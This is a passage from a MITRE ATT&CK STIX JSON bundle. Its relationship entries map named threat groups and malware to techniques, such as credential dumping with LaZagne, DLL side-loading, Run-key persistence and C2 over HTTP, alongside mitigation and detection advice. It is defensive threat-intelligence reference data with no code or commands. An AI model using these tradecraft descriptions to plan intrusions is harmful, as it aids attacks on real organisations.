2017.","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T16:16:42.465Z","description":"Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nLimit access to the root account and prevent users from modifying protected components through proper privilege separation (ex SELinux, grsecurity, AppArmor, etc.) and limiting Privilege Escalation opportunities.\n\nLimit on-premises accounts with access to the hybrid identity solution in place. For example, limit Azure AD Global Administrator accounts to only those required, and ensure that these are dedicated cloud-only accounts rather than hybrid ones.(Citation: MagicWeb)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dafc7834-fbb5-426c-adce-957742078002","created":"2020-03-19T23:50:06.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:43:52.196Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019) [OilRig](https://attack.mitre.org/groups/G0049) has also used tool named PICKPOCKET to dump passwords from web browsers.(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db003d7a-10da-4167-ba52-43a09e73075c","created":"2022-07-11T20:37:08.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:32:13.924Z","description":"Monitor for newly executed processes with arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined emails.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db0657fe-7bfb-43bc-8565-976e448683c3","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db08c6bc-0a2a-41f3-bcb2-5410f9e0afa6","type":"relationship","created":"2020-12-22T20:56:28.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2021-04-20T22:02:32.999Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid credentials with various services during lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db0b0cf9-cb49-43ed-aa61-d4215d1775b8","type":"relationship","created":"2022-01-05T15:41:45.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2022-01-05T15:41:45.937Z","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) has used a program named ff.exe to search for specific documents on compromised hosts.(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db0f9f05-6f76-47c3-81bf-a59d85045188","type":"relationship","created":"2020-05-05T19:44:41.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.555Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has used port 4050 for C2 communications.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db124668-5730-40a5-be5f-6997fc7036f6","created":"2024-05-20T18:44:44.110Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T18:44:44.110Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has executed the Windows-native `vssadmin` command to create volume shadow copies.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db13473b-3541-4be6-a5ad-042e83b37e3e","created":"2022-09-22T21:32:16.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:00:43.126Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the legitimate Windows services `IKEEXT` and `PrintNotify` to side-load malicious DLLs.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db136518-5008-4104-93c1-112c4478c8bf","type":"relationship","created":"2020-10-20T03:20:03.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:22:46.936Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db142c7e-9145-477a-bc52-1545bcacee83","type":"relationship","created":"2022-03-25T14:58:24.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:58:24.963Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) has been distributed via spearphishing as an email attachment.(Citation: NTT Security Flagpro new December 2021)","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db191b70-063d-433b-a462-9f7611a5a0e2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/luckymouse-hits-national-data-center/86083/","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","source_name":"Securelist LuckyMouse June 2018"}],"modified":"2020-03-17T02:42:39.423Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) malware has used HTTP for C2.(Citation: Securelist LuckyMouse June 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db1a20ca-55a0-42db-b0e5-d600478baddd","created":"2020-11-06T18:40:38.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:43:13.709Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WMI to deliver a payload to a remote host.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db1b7307-a473-40eb-be9c-25d95c0e2054","created":"2019-08-26T13:02:46.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ANSSI Sandworm January 2021","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"},{"source_name":"ESET TeleBots Oct 2018","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:34:27.714Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses RC4 for encrypting the configuration.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db1f0baf-27ee-4e1c-9d8f-6a82918b5f0f","created":"2022-03-25T00:25:48.864Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) tracks `TrustedHosts` and can move laterally to these targets via WinRM.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-14T17:34:32.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db219581-f2fc-45f9-846d-c7e6f6d238ce","created":"2023-09-21T16:40:28.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:41:26.185Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) can monitor the `/proc/[PID]` directory of known [RotaJakiro](https://attack.mitre.org/software/S1078) processes as a part of its persistence when executing with non-root permissions. If the process is found dead, it resurrects the process. [RotaJakiro](https://attack.mitre.org/software/S1078) processes can be matched to an associated Advisory Lock, in the `/proc/locks` folder, to ensure it doesn't spawn more than one process.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db221583-6145-4b65-8eb8-f5e59b1c9e59","created":"2024-09-23T20:39:51.723Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:39:51.723Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used [Reg](https://attack.mitre.org/software/S0075) to add Run keys to the Registry.(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db2307cc-3e11-4b2f-83c8-be57371b9c51","created":"2023-02-10T18:55:42.429Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-10T18:55:42.429Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can enter a sleep stage for 30 minutes to evade detection.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-25T02:33:53.494Z","description":"[HDoor](https://attack.mitre.org/software/S0061) scans to identify open ports on the victim.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db296410-83e6-4716-af90-ae4b7e7f3171","type":"relationship","created":"2020-06-26T16:17:18.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.980Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to exfiltrate data over the Microsoft Outlook C2 channel.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db2b0471-38e9-4c50-bf96-1c498f38223c","type":"relationship","created":"2020-07-16T15:10:35.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:10:35.305Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db2be919-e747-430b-a7ee-d619a11abd93","created":"2022-03-15T20:02:43.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has downloaded additional malware with scheduled tasks.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db2c5201-2ced-482d-913b-8dee1499441a","type":"relationship","created":"2020-12-17T02:28:43.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-20T16:48:28.235Z","description":"Configure browsers/applications to regularly delete persistent web cookies.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db2e5a57-1854-4925-9b78-422c9b79c130","type":"relationship","created":"2021-03-05T18:54:56.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."},{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.741Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used cmd.exe for execution.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db315985-f1c1-4d7f-a154-c65351602680","created":"2023-09-22T19:54:26.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:59:44.546Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) accessed victim OneDrive environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db393f5e-8029-423c-bfbc-da48fc932cb0","created":"2022-08-18T19:13:34.306Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 